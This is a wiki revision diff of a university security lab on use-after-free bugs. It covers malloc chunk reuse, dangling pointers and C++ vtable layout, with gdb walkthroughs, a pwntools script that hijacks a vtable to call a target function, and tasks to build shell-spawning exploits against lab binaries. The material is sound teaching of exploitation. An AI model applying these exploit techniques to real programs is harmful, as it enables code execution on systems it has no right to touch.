This shows you the differences between two versions of the page.
cns:labs:lab-10 [2019/11/28 09:56] dennis.plosceanu [Tasks] |
cns:labs:lab-10 [2021/01/11 16:59] (current) mihai.dumitru2201 [C++ objects memory layout] |
||
---|---|---|---|
Line 1: | Line 1: | ||
====== Lab 10 - Use After Free ====== | ====== Lab 10 - Use After Free ====== | ||
- | |||
- | ===== Resources ===== | ||
- | |||
- | * [[https://ocw.cs.pub.ro/courses/cpl/labs/06 |CPL Lab 06 - Structure of data and objects in memory]] | ||
- | * [[https://ocw.cs.pub.ro/courses/so/laboratoare/laborator-05 |SO Lab 06 - Memory management]] | ||
- | * [[https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ |Understanding glibc malloc]] | ||
- | * [[https://github.com/lattera/glibc/blob/master/malloc/malloc.c |malloc.c]] | ||
- | * [[http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf |Heap Exploitation lecture - Markus Gaaseedelen, CSCI 4968, Sprint 2015]] | ||
- | * [[https://www.geeksforgeeks.org/virtual-function-cpp/ |Virtual functions]] | ||
- | * [[https://en.wikipedia.org/wiki/Virtual_method_table |Virtual Method Table]] | ||
- | |||
- | |||
- | ===== Supporting files ===== | ||
- | You will use this [[http://elf.cs.pub.ro/oss/res/labs/lab-10.tar.gz|lab archive]] throughout the lab. | ||
- | |||
- | Please download the lab archive an then unpack it using the commands below: | ||
- | <code bash> | ||
- | $ wget http://elf.cs.pub.ro/oss/res/labs/lab-10.tar.gz | ||
- | $ tar xzf lab-10.tar.gz | ||
- | </code> | ||
- | |||
- | After unpacking, you will get the ''lab-10/'' folder: | ||
- | <code bash> | ||
- | $ cd lab-10/ | ||
- | $ ls -F | ||
- | TODO: add files | ||
- | </code> | ||
===== Introduction ===== | ===== Introduction ===== | ||
- | **Use-after-free** refers to the bug in which the data from a memory region is | + | **Use-after-free** refers to a class of bugs in which the data from a memory region is |
still used after the region is freed. | still used after the region is freed. | ||
- | The most common causes are of use-after-free bugs are: | + | The most common causes of use-after-free bugs are: |
* Wrongly handled error conditions | * Wrongly handled error conditions | ||
* Unaccounted for program states | * Unaccounted for program states | ||
* Confusion over which part of the program is responsible for freeing the memory | * Confusion over which part of the program is responsible for freeing the memory | ||
- | Such bugs can have various adverse consequances: | + | Such bugs can have various adverse consequences: |
* crashes | * crashes | ||
* corruption of valid data | * corruption of valid data | ||
Line 60: | Line 35: | ||
The innards of ''malloc'' aren't trivial to understand so we will work with | The innards of ''malloc'' aren't trivial to understand so we will work with | ||
- | more of an general overview of what it does and how can we predict what it | + | more of a general overview of what it does and how can we predict what it |
- | will do so we can create a repetable exploit. | + | will do so we can create a repeatable exploit. |
The first thing worth mentioning is that **not all addresses returned by malloc | The first thing worth mentioning is that **not all addresses returned by malloc | ||
Line 111: | Line 86: | ||
- | Use the program from ''malloc_addr'' to see how ''malloc'' manifests for different sizes. | + | Use the program from ''00-malloc-addr'' to see how ''malloc'' manifests for different sizes. |
The program does pairs of ''malloc'' + ''free'' to inspect for what range of sizes will | The program does pairs of ''malloc'' + ''free'' to inspect for what range of sizes will | ||
the returned pointer be the same. | the returned pointer be the same. | ||
Line 161: | Line 136: | ||
===== Dangling Pointers ===== | ===== Dangling Pointers ===== | ||
+ | |||
A **dangling pointer** is a pointer variable through which the freed memory is accessed. For example: | A **dangling pointer** is a pointer variable through which the freed memory is accessed. For example: | ||
Line 200: | Line 176: | ||
==== Tutorial ==== | ==== Tutorial ==== | ||
- | Enter the ''c_tutorial'' directory and check the source code for bugs. | + | |
+ | Enter the ''00-c-tutorial/'' directory and check the source code for bugs. | ||
We can see that in the ''default'' case of the ''switch'' the object is freed but the program | We can see that in the ''default'' case of the ''switch'' the object is freed but the program | ||
Line 213: | Line 190: | ||
</code> | </code> | ||
- | The ''post_action_msg'' buffer is //conveniently// conveniently allocated to a size similar to that | + | The ''post_action_msg'' buffer is //conveniently// allocated to a size similar to that |
of ''struct person'' and ''fgets'' is used to read something in the newly allocated buffer. | of ''struct person'' and ''fgets'' is used to read something in the newly allocated buffer. | ||
Line 289: | Line 266: | ||
Afterward we reach the following code where it tries to ''call rdx''. | Afterward we reach the following code where it tries to ''call rdx''. | ||
- | If we print its value we see that its value concides with the 8 bytes read | + | If we print its value we see that its value coincides with the 8 bytes read |
with the previous ''fgets''. | with the previous ''fgets''. | ||
<code asm> | <code asm> | ||
Line 319: | Line 296: | ||
Though function pointers inside structures in C code seem a bit esoteric, in | Though function pointers inside structures in C code seem a bit esoteric, in | ||
object oriented languages (like C++) they are standard practice but overlooked | object oriented languages (like C++) they are standard practice but overlooked | ||
- | do to the added layers of abstraction. Most of the times C programs that use | + | due to the added layers of abstraction. Most of the times C programs that use |
these kinds of structures try to emulate an object oriented style. | these kinds of structures try to emulate an object oriented style. | ||
Line 325: | Line 302: | ||
(or virtual function tables) are used to facilitate polymorphism and inheritance. An object will | (or virtual function tables) are used to facilitate polymorphism and inheritance. An object will | ||
contain a pointer to a list of functions (only the [[https://www.geeksforgeeks.org/virtual-function-cpp/ |virtual]] | contain a pointer to a list of functions (only the [[https://www.geeksforgeeks.org/virtual-function-cpp/ |virtual]] | ||
- | ones) so that it maintains the methods of its type even if casted to another | + | ones) so that it maintains the methods of its type even if cast to another |
one upper in the inheritance tree. | one upper in the inheritance tree. | ||
Line 333: | Line 310: | ||
class B { | class B { | ||
int a, b; | int a, b; | ||
+ | public: | ||
virtual void f(void); | virtual void f(void); | ||
}; | }; | ||
Line 338: | Line 316: | ||
class B1 { | class B1 { | ||
int x, y; | int x, y; | ||
+ | public: | ||
virtual void z(void); | virtual void z(void); | ||
}; | }; | ||
- | class D: B, B1 { | + | class D: public B, public B1 { |
int c, d; | int c, d; | ||
+ | public: | ||
void f(void); | void f(void); | ||
void z(void); | void z(void); | ||
}; | }; | ||
- | D objD; B1 * ptrB1; | + | int main() |
- | ptrB1 = &objD; | + | { |
- | ptrB1->f(); | + | D objD; B1 * ptrB1; |
+ | ptrB1 = &objD; | ||
+ | ptrB1->z(); | ||
+ | } | ||
</code> | </code> | ||
Line 359: | Line 342: | ||
''D'' will contain its own methods. | ''D'' will contain its own methods. | ||
- | When doing an upcast (cast to a parent class) the pointer is just offseted to | + | When doing an upcast (cast to a parent class) the pointer is just offset to |
the correct subobject (e.g.: when casting to ''B1'' ''ptrB1'' will start from | the correct subobject (e.g.: when casting to ''B1'' ''ptrB1'' will start from | ||
''PVTable1''). | ''PVTable1''). | ||
Line 369: | Line 352: | ||
We can also use the compiler to see the data layout. Copy the code above into | We can also use the compiler to see the data layout. Copy the code above into | ||
- | a file ''dummy.cpp'' and add a main function to make it a valid program: | + | a file ''dummy.cpp''. |
- | <code cpp> | + | |
- | int main() { return sizeof(D); } | + | |
- | </code> | + | |
Then run: | Then run: | ||
Line 411: | Line 391: | ||
==== Tutorial ==== | ==== Tutorial ==== | ||
+ | |||
+ | Go to the ''00-cpp-tutorial/'' directory and look at the source code. | ||
+ | |||
+ | The bug is related to an error check prematurely deleting the object: | ||
+ | <code cpp> | ||
+ | A *a = new A(x); | ||
+ | |||
+ | if (x < 0) | ||
+ | delete a; // <- pointer is deleted | ||
+ | ... | ||
+ | std::cout << header << ":" << a->negate() << "\n"; <- object still used | ||
+ | </code> | ||
+ | |||
+ | Before calling the object method a new buffer is allocated and read: | ||
+ | <code cpp> | ||
+ | char *header = new char[16]; | ||
+ | std::cin.getline(header, 16); | ||
+ | </code> | ||
+ | |||
+ | Remember that virtual functions exist in a **virtual function table** | ||
+ | so we not only need the address of a target function to call, but | ||
+ | also the address of an array containing the function address. | ||
+ | |||
+ | Luckily the program already provides an array containing ''bad_func'': | ||
+ | <code cpp> | ||
+ | void (*func_list[3])(uint64_t) = { bad_func }; | ||
+ | </code> | ||
+ | |||
+ | <note> | ||
+ | Remember that non-static class methods take an implicit ''this'' argument: | ||
+ | <code cpp> | ||
+ | class Foo { | ||
+ | void bar(int x, int y); | ||
+ | }; | ||
+ | </code> | ||
+ | |||
+ | Here the ''bar'' method takes 3 arguments. Translated to C: | ||
+ | <code cpp> | ||
+ | struct Foo { | ||
+ | void (*bar)(struct Foo*, int, int); | ||
+ | }; | ||
+ | </code> | ||
+ | </note> | ||
+ | |||
+ | Lets check how the method call is done in assembly: | ||
+ | <code gdb> | ||
+ | ... | ||
+ | 0x0000000000401259 <+92>: mov rdi,rbx <- first arg (this) | ||
+ | 0x000000000040125c <+95>: call 0x40138c <A::A(int)> <- constructor | ||
+ | 0x0000000000401261 <+100>: mov QWORD PTR [rbp-0x28],rbx <- pointer stored on stack | ||
+ | ... | ||
+ | 0x00000000004012e2 <+229>: mov rax,QWORD PTR [rbp-0x28] <- get pointer from stack | ||
+ | 0x00000000004012e6 <+233>: mov rax,QWORD PTR [rax] <- get VFT (offset 0 in class) | ||
+ | 0x00000000004012e9 <+236>: mov rdx,QWORD PTR [rax] <- get VFT[0] (negate method) | ||
+ | 0x00000000004012ec <+239>: mov rax,QWORD PTR [rbp-0x28] <- get pointer from stack | ||
+ | 0x00000000004012f0 <+243>: mov rdi,rax <- first arg (this) | ||
+ | 0x00000000004012f3 <+246>: call rdx <- call negate(this) | ||
+ | ... | ||
+ | </code> | ||
+ | |||
+ | Like in the C tutorial, check that the second ''malloc'' returns the same | ||
+ | address (if we input ''-1'' so the object is deleted): | ||
+ | <code gdb> | ||
+ | gdb-peda$ b *0x401251 | ||
+ | gdb-peda$ c | ||
+ | Continuing. | ||
+ | Enter a number: -1 | ||
+ | ... | ||
+ | 0x40124c <main+79>: call 0x401090 <operator new(unsigned long)@plt> | ||
+ | => 0x401251 <main+84>: mov rbx,rax | ||
+ | gdb-peda$ p/x $rax | ||
+ | $1 = 0x4176d0 | ||
+ | gdb-peda$ b *0x4012a1 | ||
+ | gdb-peda$ c | ||
+ | ... | ||
+ | 0x40129c <main+159>: call 0x401030 <operator new[](unsigned long)@plt> | ||
+ | => 0x4012a1 <main+164>: mov QWORD PTR [rbp-0x20],rax | ||
+ | gdb-peda$ p/x $rax | ||
+ | $2 = 0x4176d0 | ||
+ | </code> | ||
+ | |||
+ | Use the following script to get the program to call ''bad_func'': | ||
+ | <code python> | ||
+ | from pwn import * | ||
+ | |||
+ | elf = ELF('./cpp_tut') | ||
+ | io = process('./cpp_tut') | ||
+ | io.sendline("-1") | ||
+ | io.sendline(p64(elf.symbols['func_list'])) | ||
+ | |||
+ | io.interactive() | ||
+ | </code> | ||
+ | |||
+ | Output: | ||
+ | <code bash> | ||
+ | $ python2 exploit.py | ||
+ | [*] '/home/student/cns/10-UAF/00-cpp-tutorial/cpp_tut' | ||
+ | Arch: amd64-64-little | ||
+ | RELRO: Partial RELRO | ||
+ | Stack: Canary found | ||
+ | NX: NX enabled | ||
+ | PIE: No PIE (0x400000) | ||
+ | [+] Starting local process './cpp_tut': pid 29763 | ||
+ | [*] Switching to interactive mode | ||
+ | [*] Process './cpp_tut' stopped with exit code 0 (pid 29763) | ||
+ | Enter a number:Read a header:\x90@@:Your 'this' pointer = 0x15c72d0 | ||
+ | 32 | ||
+ | </code> | ||
+ | |||
===== Tasks ===== | ===== Tasks ===== | ||
+ | |||
+ | All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | ||
+ | |||
+ | |||
+ | ==== List Printer - C++ ==== | ||
+ | |||
+ | Go to the ''01-list-printer/'' directory and examine the code/binary to find the | ||
+ | use-after-free bug. Create an exploit to run a shell. | ||
==== Point - C ==== | ==== Point - C ==== | ||
- | Go to the ''point/'' directory and examine the code/binary to find the | + | Go to the ''02-point/'' directory and examine the code/binary to find the |
use-after-free bug. Create an exploit to run ''system("sh")'' | use-after-free bug. Create an exploit to run ''system("sh")'' | ||
- | <hint> | + | <note tip> |
The program never checks if the ''id'' corresponds to an existing point. | The program never checks if the ''id'' corresponds to an existing point. | ||
- | </hint> | + | </note> |
- | <hint> | + | <note tip> |
Look at the structs, how would a ''struct point3D'' overlap over a | Look at the structs, how would a ''struct point3D'' overlap over a | ||
''struct point2D''? | ''struct point2D''? | ||
Line 436: | Line 533: | ||
| vector_len | | | vector_len | | ||
+---------------+ | +---------------+ | ||
- | |||
- | |||
</code> | </code> | ||
Line 446: | Line 541: | ||
Symbol "system@plt" is at 0x401070 in a file compiled without debugging. | Symbol "system@plt" is at 0x401070 in a file compiled without debugging. | ||
</code> | </code> | ||
- | </hint> | + | </note> |
- | <hint> | + | <note tip> |
- | How to send the ''"sh""'' argument to ''system''? | + | How to send the ''"sh"'' argument to ''system''? |
The function will be called with a pointer to the structure itself: | The function will be called with a pointer to the structure itself: | ||
Line 459: | Line 554: | ||
out of the concatenated raw bytes of the structure (until ''\x00''). | out of the concatenated raw bytes of the structure (until ''\x00''). | ||
It should be enough to set ''x'' to ''"sh\x00\x00"'' unpacked. | It should be enough to set ''x'' to ''"sh\x00\x00"'' unpacked. | ||
- | </hint> | + | </note> |
+ | |||
+ | ===== Resources ===== | ||
+ | |||
+ | * [[https://ocw.cs.pub.ro/courses/cpl/labs/06 |CPL Lab 06 - Structure of data and objects in memory]] | ||
+ | * [[https://ocw.cs.pub.ro/courses/so/laboratoare/laborator-05 |SO Lab 06 - Memory management]] | ||
+ | * [[https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ |Understanding glibc malloc]] | ||
+ | * [[https://github.com/lattera/glibc/blob/master/malloc/malloc.c |malloc.c]] | ||
+ | * [[http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf |Heap Exploitation lecture - Markus Gaaseedelen, CSCI 4968, Sprint 2015]] | ||
+ | * [[https://devel0pment.de/?p=688#basic|Heap Exploitation: Off-By-One / Poison Null Byte]] | ||
+ | * [[https://www.geeksforgeeks.org/virtual-function-cpp/ |Virtual functions]] | ||
+ | * [[https://en.wikipedia.org/wiki/Virtual_method_table |Virtual Method Table]] | ||
+ | * [[https://stackoverflow.com/a/2392656/4804196|Why Do We Need Virtual Functions in C++]] | ||